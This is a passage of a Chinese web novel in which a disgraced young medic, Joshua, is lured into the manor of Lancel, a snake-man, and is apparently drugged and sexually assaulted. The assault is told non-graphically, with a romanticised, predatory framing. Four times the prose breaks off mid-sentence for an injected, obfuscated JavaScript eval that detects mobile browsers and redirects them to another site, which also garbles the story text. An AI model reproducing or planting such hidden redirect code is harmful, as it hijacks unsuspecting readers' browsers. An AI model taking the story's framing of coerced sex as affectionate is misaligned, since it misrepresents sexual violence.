约书亚并没有意识到，这温暖又柔软的马车中暗含的危险信号，就像蜘蛛在把猎物诱捕进精心织就的网之前，投注出的香甜诱饵，而他往常最引以为豪的警惕心，也被那无孔不入的慢性毒素逐渐麻痹了。 约书亚的眼睛里总是有一些闪烁的碎光，细看起来显得有些涣散，尤其是当他从下往上看的时候，往日里藏在镜片下的浅蓝的瞳孔更显出一分天真的味道。 他顺从地含住面前的茶杯，小巧的喉结上下滑动，仿佛羔羊吮引青草上的露珠。 约书亚用余光注意到，那双绿色的眼睛似乎又盯住了自己。 我...是我脸上有什么碎屑吗？ 努力压抑住想要用手确认一下的冲动，下意识地，他坐直了些。 见他稍微没那么饿了，兰瑟尔先生又问几个问题，不外乎于在哪里发现的这些金子？总共发现了多少？ 他的语气堪称温柔，这让约书亚干涸许久的泪腺隐隐发酸。 约书亚一一应了，只是在兰瑟尔问他最近的现状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344839|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，不知是出于昔日的自尊心还是单纯的不好意思，约书亚只是语焉不详地表示，他最近确实囊中羞涩，这才迫不得已挪用了一些黄金鳞片，用以购买维持基本生计所需的日常食物。 出乎意料的是，眼前这位绅士好像对自己丢失的财物并不关心。 “我注意到你似乎不是本地人？”兰瑟尔倚靠着丝绒靠垫，略显慵懒地问。 “是的，先生。”惊讶于他的观察力，约书亚反问：“您怎么知道？” “你瘦过头了。”兰瑟尔的眼神中闪过了一丝类似懊恼的情绪，看到约书亚懵懵的表情，又笑着补充道：“我的意思是，这儿的人看起来比你强壮太多。” “喔...我刚来这儿不久...”约书亚摩擦了一下双手，有些不好意思地说。 他其实还想补充些什么，证明自己真的不是奇怪的人，却发现根本无从解释。 教会的审判在他的脑海中一遍遍回放。他曾试图解释自己的感情，但苍白的辩解无疑是对信仰的冒犯。法官冷酷的面容和鄙夷的眼神，仿佛将他钉在了罪人的十字架上。“异端”，“堕落”，“罪人”，这些词汇一遍遍戳刺着他。 或许从他走进马戏团的那时起，他就已经不再是教会的信徒，不再是受神庇佑的子民，而是一个被放逐的幽灵。 两人交谈间，约书亚意识到，兰瑟尔始终没有用敬语，但与语气中带来的傲慢不同，他的态度却称得上十分礼貌，甚至有些...过于友善了。 约书亚把这种过分的热情解释为对于贫民生活的好奇，此时的他已经完全放下了担忧，无论怎么看，兰瑟尔先生都是一位难得的热心肠，他甚至注意到约书亚的局促，询问约书亚是否要把鞋袜脱下，他可以为约书亚提供暖脚的炉垫。 “如果您不介意，或许我可以给你介绍一下我的庄园？”此时正值日落，兰瑟尔的半边脸隐藏在夕阳的溶金之下，看不真切。 在那种温和的笑容下，压下内心最后一丝异样，约书亚晕乎乎地点了头。 9. 祂的巢穴 兰瑟尔的庄园坐落在郊外的密林深处，穿过层层林荫，首先映入眼帘的是一条蜿蜒曲折的石板小道，两旁栽种着修剪整齐的紫杉，绿意盎然，在秋日夕阳的映照下染上一层金红。沿着小道走近，庄园的大门便赫然出现在面前，厚重的黑铁门上雕刻着繁复的蔷薇图案，蔷薇的藤蔓彼此交缠，将庄园封闭在它们的保护之中。 建筑外面装饰着哥特式的尖拱和雕花窗棂，窗户玻璃镶嵌着彩色图案，透过玻璃，夕阳的余晖在地面上投下斑驳的光影，犹如流动的梦境。 约书亚做梦都没想到，他在路上捡到的不仅仅是金子，更是一个从天而降的巨大馅饼。 自从兰瑟尔先生发现约书亚捡到的金色鳞片就是他近日所遗漏之物之后，尽管约书亚极力推辞，他依然获得了一笔丰厚的酬金。 随后，不知为何，这位好心肠的绅士又了解到了约书亚现如今的窘境，随即十分热情地邀请约书亚为他任职，用他的原话说是——我急需一位拥有基础医学知识的文书老师。 在这之前，约书亚一直认为这种事的概率就像是教会忽然宣布，不在向底层人兜售赎罪卷一样离奇。 兰瑟尔先生不仅聘用了约书亚作为自己的专职医生，更是承诺愿意资助他返回医学院完成被迫终止的学业。 诚然，这位兰瑟尔先生一定是一位最近才发达的新贵，否则无法解释为何约书亚从未在过往的贵族聚会中见过他。 约书亚也曾小心地询问过他是否曾听闻自己在贵族圈子里的那些传闻，圣主在上，有关约书亚那些丑闻可不仅仅是风流韵事那么简单，迷恋于异生物怪异癖好足以使他被宗教和家族抛弃，而掺杂于其中的□□细节，更是足以让任何人被拖上绞刑架。 而兰瑟尔似乎对王城贵族圈子毫不了解，他解释说自己来自一个偏僻的乡镇，只是恰好继承了远房表亲的遗产才勉强成为了一位拥有自己土地的绅士。 这让约书亚受到了良心的谴责，这种愧疚或多或少麻痹了他引以为豪的警惕心，他不仅没有意识到，一位默默无名的新贵怎么支付得起如此奢靡的庄园和仆从，更没有发现，这位兰瑟尔先生打量他时那种微妙的神情。 他们聊起骑马、逛画展这类的时兴玩意，兰瑟尔似乎对这些事物不置可否，兴致缺缺，有时约书亚甚至会产生一种错觉，眼前这位绅士只是为了能与自己多说几句话才被迫屈尊纡贵地了解了一些贵族之间的风雅事。 ...... 约书亚每天早上都能在客厅见到兰瑟尔。 就好像他在这里专程等着约书亚似的。 一开始，约书亚那种孤僻的天性让他在“无意中”经常早起或者睡过头，以便错过这略微令人有些尴尬的偶遇，但自从约书亚发现兰瑟尔先生那数不清有几柜子的藏书和媲美帝国最高端研究院的私人实验室时，这种选择性社交恐惧就烟消云散了。 兰瑟尔很乐意为约书亚介绍自己的藏书，他涉猎广泛，无论是从珍稀动物解剖还是到都市怪谈都无所不知，约书亚猜测他或许是一个忠实的爬虫爱好者，在那密闭的实验室里，约书亚不止一次地见到用福尔马林浸泡保存的蛇类、蜥蜴尸体。 约书亚还在一个废弃的实验室里看到一些类似刑具的玩意儿，手铐、铁处女、马鞭......对此兰瑟尔解释称，这座庄园曾经是前任王朝的一个伯爵的府邸，那位老爷酷爱进行人体试验，据说他经常在地下室圈禁那些本该执行死刑的囚犯，周围的佃户们甚至一度将这里称为“血腥的狮穴”。 约书亚住在佣人房，可令人奇怪的的是，这么久以来，约书亚从没有见过他的室友——根据兰瑟尔所说，那是一位高级男仆，最近他正回去家乡操办结婚事宜。 他显然是低估了兰瑟尔的富有程度，至少在他还在格雷家的时候，就连最高等级的管家也住不了这样装修精美的房间。 这样的生活像是做梦，每天都能吃到可口的食物——尤其是烤乳鸽，有看不完的专业书籍，最重要的是，这里没人会对他的生活指手画脚，更没人知道他的过去。 他都要有些飘飘然了。 兰瑟尔极有分寸，他极有魅力，总是体贴地给约书亚留出足够的个人空间，因此，在今天下午他要求约书亚喝下午茶时，约书亚发现自己竟然无法拒绝。 要读书、要祷告、身体不舒服、想要睡午觉....约书亚明明有无数个现成的理由可以搪塞，但在看到兰瑟尔的脸的那一秒，这些借口都化成了空白。 一种名为害羞的情绪姗姗来迟，约书亚装作欣赏手里茶具，避开了眼神接触，余光却忍不住看向面前的人。 兰瑟尔似乎不太喜欢日光，他把座椅挪的靠近阴影，只有一些半个后脑勺和发尾暴露在阳光之下。 他有一头罕见的浅金色长发，说是浅金色可能不太准确，更像是银灰色。除了头发，兰瑟尔的睫毛也是相对应的浅色，或许这其中也有长久缺乏日晒的缘故？ 约书亚一个劲儿地胡思乱想，一种香甜又陌生的味道却在这时袭击了他的味蕾。 “你想喝这个吗？” 大概是察觉到了约书亚的心不在焉，兰瑟尔放下了手里的书，朝着约书亚抬了抬茶杯。 “喔，不…不是的，您不用在意。”约书亚的脸涨红了，他有些尴尬，空气中弥漫着极为诱人的浓郁香味。 兰瑟尔体贴地没有追问下去，转而介绍起手中的东西，“这是热可可，大概是从某个海盗手里清缴来的，据说在航海中，它能起到和咖啡一样的亢奋作用。” 兰瑟尔低沉缓慢的声音简直比他手里的热可可还要吸引人，约书亚甚至无法判断自己到底是为了什么入了迷，在他还没意识到的时候，他就已经不受控制地吸了吸鼻子，试图从空气中寻觅更多的味道。 对面的人似乎被他的动作逗笑了，他把书本搁在腿上，把茶杯朝着约书亚的方向推了推， “要尝尝吗？” 他的态度太坦然了，约书亚甚至无法连“能给我泡一杯新的吗？”都说不出口，迟疑了一下，他犹豫着伸手端起了茶杯。 说不清是被什么蛊惑了，约书亚轻轻抿了一下杯壁，首先感受到的是一丝微微的苦，随后才是一种无法形容的醇厚口感。 有些奇怪的味道，但不讨厌。 迈出第一步后，接下来就容易多了，约书亚把一小口可可含在口中，像是品尝美酒一样回味，这种新奇的口感让他皱了皱眉。 “可以加一些牛奶。”兰瑟尔就想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344840|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道他心里想什么似的，不知何时，他站到了约书亚身旁，这是一个能够更近距离观察的角度。 “谢谢。”约书亚有些如坐针毡，刚才兰瑟尔走到他身后时，头发有意无意地碰到了约书亚的耳垂。 “不客气。” ——气氛忽然变得有些奇怪。 约书亚首先意识到的是周围诡秘的安静，楼下园丁修建花枝的声音不知何时停下了，兰瑟尔存在感实在太强，即便他没有对约书亚进行任何肢体接触，一种小动物的本能也让约书亚感到一激灵。 “抱歉，我可能还是有些喝不惯。”迫使自己控制转身的冲动，约书亚把茶杯放回了原处。 “那真是可惜。”从他身后，兰瑟尔伸出了手，施施然地端走了那杯可可。 约书亚忽然有种错觉，兰瑟尔的本意并不仅仅是让他品尝这杯可可。 他笨拙地想要转换话题，却想不出要问些什么，事实上，有一个问题困扰了他很久。 这样一个偌大的庄园，却很少见到仆从。 每次用餐时，都只有兰瑟尔和他两个人，这让约书亚感到有些不自在，每当约书亚需要喝茶或是替换餐具，都能享受到兰瑟尔的亲手服务。 约书亚曾经委婉地向兰瑟尔询问过这个问题，然而对方只告诉他，庄园的仆人们并不被允许长时间逗留在主人面前，兰瑟尔患有洁癖症，他甚至无法忍受贴身男仆为他更衣，这点与约书亚不谋而合。 或许是约书亚笨手笨脚地太过明显，兰瑟尔总能看出他的不适应，总是体贴地把自己的牛排切好，换给约书亚。 “您下午有空吗？呃，我是说，或许我们可以一起看一部诗集？”犹豫片刻，约书亚终于开口打破了这种沉默。 圣主在上，这已经是约书亚所能鼓起的最大的勇气了。 出乎意料地，兰瑟尔拒绝了他。 “我下午有些事情，或许要拜托你一个人帮我看家了。”不知是不是约书亚的错觉，他总觉得兰瑟尔的语气中，并没有多少遗憾。 “呃…好的，当然！”约书亚有些尴尬，端起茶杯想要掩饰，余光却察觉到兰瑟尔也端起了茶杯，约书亚刚想提醒，这杯可可已经被自己喝过了，兰瑟尔就已经又喝了一口，察觉到约书亚投来欲言又止的目光，他只是笑了笑。 “还有一件事我想拜托你。”施施然放下杯子，兰瑟尔开口道。 “您请吩咐。”约书亚不敢和他对视，只能紧盯着茶杯壁上描金的绘画。 “我想拜托你帮我喂一下我的宠物，你或许还没见过它，但不用担心，它非常温顺。” 约书亚睁大了眼睛，他有些结结巴巴地应到：“我当然愿意帮忙，只是，我从未听您提到过您养了宠物。” “养了很多年，只是我把它宠坏了，一直都是亲自喂食，所以不太放心别人照顾他。” “我很喜欢小动物。”约书亚毫不犹豫地应承了下来，他甚至有些莫名的窃喜，照顾宠物这么私密的事情，不正代表着兰瑟尔先生把他当做自己人了吗。 “那真的太感谢了，我会让管家准备好食物，他会带你去的。” 约书亚依然沉浸在喜悦中，自然也忽视了对面的人眼里一闪而过的狡黠。 10. 宠物 约书亚跟着管家的指引在走廊上晃荡，这座庄园实在太大，以至于直到现在，他也不能完全认清每间房子的位置和作用。 他们有一搭没一搭地聊着，这位管家是个生面孔，更确切地说，这里的每个仆从对于约书亚来说都很面生，他们个个神出鬼没的，很少出现在主人面前。 “听老爷说，您有在马戏团喂养大型动物的经验？”管家的声音很热切。 “是的。”约书亚有些心不在焉，他忍不住开始想象，兰瑟尔先生下午是去了哪里，拍卖行？还是去交际？或许他正在和哪位小姐共进午餐？ 这么久以来，约书亚都没能打听到一点有关这位新贵的私生活的事，鉴于约书亚向来不是一个热衷于探听别人隐私的人，这实在是一个不寻常的表现。 “那太好了。”那位管家显得有些高兴，他带着约书亚走到一处紧闭的房门前，揭开了一直推着的餐车上的白布。 还没等他看到白布下面的东西，约书亚首先闻到的是一股浓烈的血腥味。 他忍不住皱了皱眉，下意识向下一撇。 那超乎正常尺寸的巨大的餐盘上，竟满满盛放着一盘血淋淋的鲜肉。 我的老天...... 好半天，约书亚才找回了自己的声音：“这...这不是用来喂宠物的吗？” “是啊，这都是新鲜的鹿肉，兰瑟尔老爷上次猎回来的，我们只要负责剥皮肢解就行。”管家习以为常地耸了耸肩。 约书亚极力忍住用手帕捂住鼻子的冒犯行为，生平第一次感到有些晕血。 “冒...冒昧问一下，这只宠物是？”他有些控制不住地结巴。 “我也没见过，”管家挠了挠头，“兰瑟尔先生从来不让别人进入这里。” “我就送您到这里。”管家朝他鞠了一躬，随即推着餐车走远了。 厚重的大门被打开了一条缝，隐约能窥见里面似乎十分昏暗。 约书亚微不可觉地做了个深呼吸，只是一只宠物而已，或许它是一只野性十足的大猫？这些动物漂亮的皮毛向来在贵族圈子里很受欢迎。出于对兰瑟尔的信任，他极力压下心中的一丝不安，轻轻推开了门。 房间里拉着厚重的窗帘，只能勉强从透进来的日光辨认出，这似乎是一间卧室。 ——十分夸张的装饰。 约书亚是这么在心里下定义的，这并不像什么无害的宠物房，反而更像什么隐糜的场所——虽然约书亚从未亲眼见过，更没去过。 赭红色的床幔上挂着暗金流苏，一张不知道是什么动物的毛皮毯子从床上延伸到地毯上，几个金色茶杯凌乱地散落在四周。这个房间并不整洁，更像是被临时堆砌起来的什么...什么“巢穴”似的。 约书亚环视了一周，并没有发现任何宠物的踪影，那盘肉出乎意料的沉重，约书亚不得不换一只手抬起它。 是在睡觉吗？ 为了验证这一猜测，约书亚下意识放轻脚步，朝床边走去。 出于洁癖的坚持，他先弯下腰，把那一盘呛鼻的“不知道什么宠物的口粮”搁在地上，然而就在他手指触地的一瞬间，一阵鸡皮疙瘩忽然顺着后背爬了上来。 有什么东西，似乎一直盯着他看了很久。 约书亚猛地转身。 一只浅银色的，足有三米长的巨蟒，正安安静静地立在他身后，吐着信子，排列整齐的鳞片即便在昏暗的环境下依然闪烁出粼粼微光。 它显然早已潜伏在暗处，静静观察着这位冒冒失失闯进来的不速之客。 约书亚发誓，那一瞬间他真的感受到了什么叫“眼前一黑”。 即便再借给他一万分的镇定与克制，他也没办法在这样的肉食猛兽前保持站立，更可怕的是，他甚至没有任何可以用来防身的武器或是工具。 约书亚只能祈祷，这只野兽的注意力或许并不在自己身上，毕竟地上还有一盘已经处理好的鲜肉，它看起来可比约书亚要可口多了。 万幸的是，那只巨蟒似乎并没有对约书亚表现出攻击的姿态，相反，它只是微微立起蛇头，好奇地盯着眼前的人类，偶尔吐一吐信子，收集空气里携带的信息素。 约书亚一动也不敢动，他尽量缩小自己的存在感，然而早就已经被恐惧麻痹的双腿背叛了主人，他只能任由自己滑稽地叉坐在地上——这个姿势对于身体的柔韧性要求不低。 几乎就在他支撑不住的下一秒，巨蟒也跟着动了，约书亚头昏眼花，只能依稀听到鳞片划过地毯时产生的摩擦声，紧接着，他露在外面的脚踝传来一阵湿冷的触感。 奇怪的是，约书亚隐约觉得这种感觉似曾相识，仿佛有什么东西在他的脑海中一闪而过，却又快的抓不住。 约书亚竭力稳住自己，巨蟒却从他两腿间缓缓游了上来，他一时避之不及，与那巨大的蛇头对上了眼。 不要和猛兽直接对视，那会被视作挑衅！ 他在心里无声地尖叫。 然而他根本不敢转动自己的眼珠，两两对视，约书亚甚至可以在那竖立的蛇瞳里看见自己的倒影，好在巨蟒只是盯着他看了一会，就转过头去细细嗅闻那盘放在地上的肉。 约书亚长舒一口气，这才意识到自己刚刚一直在无意识憋气，刚想催促自己那不争气的两条腿站起来走远一些，却感到有什么东西缠住了他的小腿。 那是巨蟒的尾巴，约书亚能切实感受到冷血动物冰凉的体温和鳞片粗糙的触感。 绿色无机质的蛇瞳紧紧盯着他，像是在催促什么。 吃啊...快吃啊！吃完这个就别吃我了...... 约书亚有些着急，尝试用眼神“暗示”它，巨蟒却一副完全听不懂的样子，不为所动。 看了看巨蛇，又看了看地上的“宠物粮”。一瞬间，约书亚忽然福至心灵，他试探性地问道：“我？我喂你吃？” 话刚出口， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344841|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他简直想咬掉自己的舌头，巨蟒却像是听懂了他的话，勾住约书亚小腿的尾巴尖一拍一拍，显然心情不错。 做了将近半分钟的心理建设，约书亚终于说服自己亲手喂它，事实上如果不是害怕巨蟒失去耐心，他大概需要比这多十倍的时间。 那头鹿新鲜过头了，显然是刚被宰杀的，约书亚强迫自己把手放到肉上，那感觉却像把手伸进了什么温热的内脏里搅动一样，说不出的恶心。 巨蟒闻见血味，立刻兴奋了起来，他的瞳孔竖成尖细的形状，巨大的吻部张开，几乎把约书亚的整个手手掌吞了进去，约书亚能甚至感到巨蟒黏腻粗糙的蛇信在自己手指之间舔舐残留的血迹。 喂食，没错，我只是在喂食！ 约书亚无意识地吞咽了一下口水，强迫自己不要抖地太厉害。 巨蟒其实吃的很快，他却感觉仿佛已经过了一个世纪。 等到这场恐怖的“宠物喂食”终于有惊无险地结束了，蟒蛇却没有一点要放开面前的人类的意思，约书亚极力把“它或许还没吃饱”这一骇人的猜想从自己脑海中驱逐出去，但接下来的情况却让他更为棘手。 巨蟒并没有对他表现出捕猎的意图，相反，它似乎还挺喜欢眼前的人类的。 粗壮的蛇尾虚虚环绕着约书亚的腰部，但约书亚并不敢轻举妄动，他清楚地明白，那隐藏在冰凉蛇皮下遍布全身的肌肉能在发力的瞬间能让一个成年男性窒息而亡。 于是他只有僵硬地干坐在原地，努力把自己伪装成一截没有生命气息的树桩。 这样的伪装显然不是很有效，巨蟒等了一会，有些不耐烦地开始吐信，约书亚余光瞟到它似乎观察了一下自己，随后竟然低下头去，把那硕大的蛇头直往约书亚手底下钻。 鸡皮疙瘩爬上了约书亚的手背，出于本能，他下意识地摸了两把手底下的东西，反而没那么紧张了，如果忽略蛇类那冰冷而滑腻的皮肤，和它那过于庞大的身躯，手下的生物并不像一个冷血动物，更是像约书亚小时候养过的小兔子在撒娇乞怜似的。 巨蟒似乎很享受人类带来的“按摩服务”，约书亚的右手轻轻挠了挠它颈部的鳞片，他便发出意味不明的“嘶嘶”声。这种体验很新奇，约书亚像逗弄小猫一样，试探性地把手又伸到它的下颌位置轻轻触碰，下一秒就他的腰被蛇尾绞紧了，好在那是可能下意识的反应，很快它就舒展了身体。 就这样，他被强迫着又“工作”了半个小时，等到手都有些酸了，巨蟒才吃饱喝足，终于放开他找到一个地方盘着睡下。 约书亚出了一身的汗，他心如擂鼓，蹑手蹑脚地慢慢后退，不敢发出一丝可能会打扰到“这位宠物”睡觉的声音。 等到终于退出巨蟒的视线范围之外，他深吸一口气，在心里默数： 3—— 2—— 1—— ...... 随即头也不回地夺门而出。 11. 吃干抹净 兰瑟尔最近似乎很忙，大概三天，约书亚都没在庄园里看到他的身影。 自从上次“喂宠物事件”过后，约书亚并不敢再在庄园间轻易走动，他实在是有些发憷，但一想到兰瑟尔交代自己的事情，他还是硬着头皮问了问管家，这只宠物的喂食问题该怎么解决。 “您不用担心这个，只用一周喂一次就好，平时就算准备了食物它也不会吃。” 约书亚有些惊讶，不过联想到蛇类的特性，也觉得说得过去。 他有些心绪不宁，只能去兰瑟尔的书房打消时间。 不久之前，兰瑟尔先生慷慨地允许约书亚出入他的卧室，天知道他第一次进去这里就差点被惊掉了下巴。 庄园的主人不愧是位“新贵”，光是那整整三面墙的藏书就能让约书亚废寝忘食地在这里呆上足足半年。 “书桌后面最上一排的书不要看。”离开庄园前，兰瑟尔颇为神秘的留下一句话。 如果约书亚没有被这巨大的喜悦冲昏头脑的话，他或许还能发现，对面那人笑容中那种引诱的味道简直要满溢出来了。 但约书亚显然低估了自己的好奇心。在如痴如狂地看完书房里的科学著作后，他的目光不受控制地瞄到了最上排的那本书。这也不能全怪他，毕竟兰瑟尔那种欲盖弥彰、模模糊糊的态度简直把人的好奇心钓到了极致。 何况如果那些书真的涉及到什么不可告人的机密，兰瑟尔先生完全可以把它们拿走。 约书亚是这样自我安慰的。 起初，他并不是毫无挣扎，约书亚反复谴责自己，自己真是一个顶坏的坏虫，兰瑟尔先生救了自己，而他却一而再再而三地放纵自己的窥探欲，一次又一次探索别人的隐私。 然而当怀揣着罪恶感打开这本书时，约书亚浑身的血液都凝固住了。 这并不是什么另类的解剖注解，也不是什么家族密辛。 这是一本极为大胆的，用词极为出格且热烈的“禁书”。 男人与男人，甚至于...之间。那是一本充斥着同性犯罪、以及更多邪恶罪孽的插画文本。 约书亚全身都泛起了冷汗，他实在悲惨极了，以为兰瑟尔先生是一位热心肠的、体面的绅士，却发现帮助自己的人其实是一个沉迷于背德情爱的变态，他以为自己得救了，实际却陷入了更大的魔窟。 他甚至拿不稳那书，脚下发软，差点从梯子上掉下来。 ——然而约书亚没有摔在地上，有人接住了他。 兰瑟尔像是早就等待着他发现那本书，他像个颇具耐心的猎人，施施然站在陷阱附近，只待愚蠢的猎物自投罗网。就像现在这样，他只要轻轻地、轻轻地晃动梯子，那可怜的、单纯的猎物就会走投无路地主动落进他怀里。 而现在，他可以尽情享受自己的猎物了。 即使是被极为过分地冒犯，约书亚也没有意识到他现在的处境，他甚至不敢大声发出抗议，只是小声央求着面前的人不要做出那么不体面的事来。或许到这时，他还对兰瑟尔先生抱着最后一丝幻想。 然而在约书亚看到眼前人的表情时，他的最后一丝侥幸就像战火中教堂窗户上的彩色玻璃一样，全部粉碎了。 那是怎样一张脸啊，兰瑟尔像是完全抛下了平日里温和的伪装，祖母绿的瞳孔里全然没有了往日里刻意装出的礼貌和客气，他看约书亚的眼神就像一个看到了猎物的瘾君子，这种暗示性极强的目光甚至很少出现在人类身上，大概只有在野兽发情时，才会流露出这样赤裸的欲望。 可怜的男孩终于意识到了自己即将面对的悲惨遭遇，他后悔极了，正是他这种不合时宜的好奇心，释放了潘多拉魔盒里的魔鬼。 约书亚或许根本想不到，即使没有这份莽撞的好奇心，魔鬼也会一步步地诱导他做出这一切。 毕竟，“它”可没什么耐心。 兰瑟尔是个极有耐心的猎人，他甚至故意等着约书亚惊慌失措地逃出一截，再慢条斯理地把他拖回来，饶有性质地欣赏着眼前的男孩从竭力掩饰恐惧到崩溃哭喊的全过程。 浅银的长发垂落下来，因为体型的差距，像是张开了一张网把少年困在其中。 约书亚头皮发麻，他不由地想起那些深埋在记忆里的，决定带进坟墓的梦境。睁大而涣散的瞳孔早就被模糊的泪水污染，只能隐隐约约看到身后之人投下的阴影，有那么一瞬间，约书亚感觉紧贴在自己身后的并不是人类，而是某种吐着信子，亟待把自己吞吃入腹的怪物。 在意识彻底陷入黑暗之前，约书亚终于得以看到了兰瑟尔的表情，此时他正享受着满足过后的欢愉，终于大发慈悲地把约书亚翻了过来。 恍惚间，约书亚又看到了那双无机质的，冷萃的细长双眼。 时间回溯到一切开始那一天，他穿过形形色色衣着怪异的马戏团员工，径直走到了圈养蛇人的帐篷里。 一些窸窸窣窣的响动传进约书亚的耳朵，帐篷的帷幕虚掩着，透过金黄的流苏，他悄悄探头往里窥视。 空气中弥漫着一股微腥的麝香味，像是某种东方运来的香膏化开的味道。 蛇人森白的上半身因为用力微微鼓起，光滑的皮肤下隐隐显示出流畅的肌肉线条。他的尾巴绞缠了起来，此时正随着动作上下摩挲。 是在进食吗？ 一股怪异涌上约书亚的心头。 他略微走近一些，却看到了蛇人正在享用的“食物”。那是一个同样赤裸的成年男性，只是因为被紧紧缠绕着，仿佛跟蛇人合为一体了。金属色的鳞片划过雪白的身体，下一秒就紧紧嵌了进去。 那个怪物对自己的猎物注入了可以麻痹神经的毒素，把“进食”过程延长到最长。 然而对于他怀里这个悲惨的人类来说，这意味着新一轮的折磨。 那个可怜的，完全被掌控的猎物也只能微弱地发出了一点哽咽，下一秒便不知被什么堵了回去。 太超过了。 这太超过了。 仿佛被烫到一样，约书亚猛吸一口气，随着他的目光，那个陷在蛇人怀里，始终背对着他的人把脸抬了起来。 ——那是他自己。 约书亚猛地挣开双眼。 他大口大口地喘气，几秒种后才意识到，这并不是他的房间。 小腹直到现在还隐隐胀痛，他甚至怀疑，或许在他失去意识后，兰瑟尔又做了什么。 约书亚现在才真正意识到，兰瑟尔或许比他想象中更为变态，他仿佛完全没有受过绅士社会的礼仪教育似的，约书亚甚至觉得，就连最下流的...都做不出这些疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344842|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事来。 然而他不敢声张，且不说他现在已经被变相地软禁在庄园里，就连想到昨天他做出的那些事，就足够约书亚忏悔一万遍了。 门口忽然传来开锁的声音，约书亚仿佛受惊的小兽，整个人不受控制地躲到了被子里面。 他并不是一个合格的骗子，就连装睡也装不像，睫毛控制不住地抖动。 约书亚几乎是屏住呼吸，等待着接下来会发生的一切。 最先被触碰到的是敏感的眼皮。 潮湿的...溽热的... 薄薄的眼皮底下，胡乱转动的眼珠已然体现出主人的慌乱。 意识到兰瑟尔在用舌头舔/弄自己的眼皮，约书亚忍不住尖叫了出来。 他猛地睁开眼，又瞬间缩成一团，这种反应，显然是受到了极度的惊吓。 兰瑟尔此时正抱臂直起身，眼里噙着一丝笑意，显然早就识破了他装睡的把戏。 “你...你还想干嘛？”约书亚尽量提高音量，但是潜意识里的畏惧让他原本质问的语气像是一个被戳破而漏气的气球，最后竟显出几分可怜巴巴的意味来。 兰瑟尔简直忍不住要笑出声来，如果面前的人足够聪明就会明白，用这种语气说出这种台词，只会让罪犯的兴致更为高涨。 但他破天荒地显露出了一丝同情，又或许只是一重新的伪装。 “我来邀请你参加舞会。” 约书亚的目光向下撇，他这才注意到，兰瑟尔臂弯里挂了几件崭新的服饰，都被精心熨烫过。 “你昨天做了这种事，怎么能毫无羞耻地...”约书亚脑袋充血，简直要晕过去，他再一次确认，兰瑟尔并不具备任何绅士该具备的品德，他目无教义，毫无羞耻心和负罪感，某种程度上说，他简直像是一个误入人类社会的，还未开化的野兽。 然而当兰瑟尔稍稍靠近他，约书亚又只能拼命往床里缩去。 “我...我要去告诉治安官。”约书亚自己也清楚，这种毫无力度的威胁没有丝毫作用，毕竟约书亚自己就是一个被法律道德排除在外的“变态”、“异端分子”，没有任何一个法官会为了一个声名狼藉的边缘人去得罪一位贵族老爷。 好在兰瑟尔并没有再做出什么过激举动，他只是伸手帮约书亚理了理乱糟糟的头发。 他胜券在握，已然拿捏住了约书亚的心态。 约书亚不能，也不敢真的跟兰瑟尔撕破脸。 他没这个资本。 约书亚只能警觉地提防兰瑟尔的下一步举动，在隐约察觉到兰瑟尔可以称得上是纵容的态度后，他忍不住色厉内荏了起来，他恨恨地抢过兰瑟尔手里的衣服，嘟嘟囔囔地抱怨道：“我现在饿得要死，圣主在上，我简直都不知道自己昏睡了多久。” 约书亚自己都没有意识到，他对这件事情的反应程度在某种程度上代表了什么。 “抱歉。”兰瑟尔略带歉意地扯了扯嘴角，约书亚从那种虚伪的假笑里看出了一丝狡黠，“你想吃什么？” “不知道。”约书亚闷闷地声音传来，他把自己整个缩进被子里换衣服，他也并不想像这样扭捏，这纯粹只是因为他不敢出声把兰瑟尔赶出房间而已。 “烤乳鸽？我猜你或许想吃这个。”兰瑟尔略带揶揄的声音传来。 12. 蛇形面具 烤乳鸽啊... 约书亚不想承认他在听到这个词的时候咽了咽口水，他自以为掩饰得很好，并没有表现出对哪道菜的偏爱，但兰瑟尔显然比他认为的更细致入微。 或许早在约书亚刚搬进这里时，兰瑟尔就已经摸透了他的喜恶。 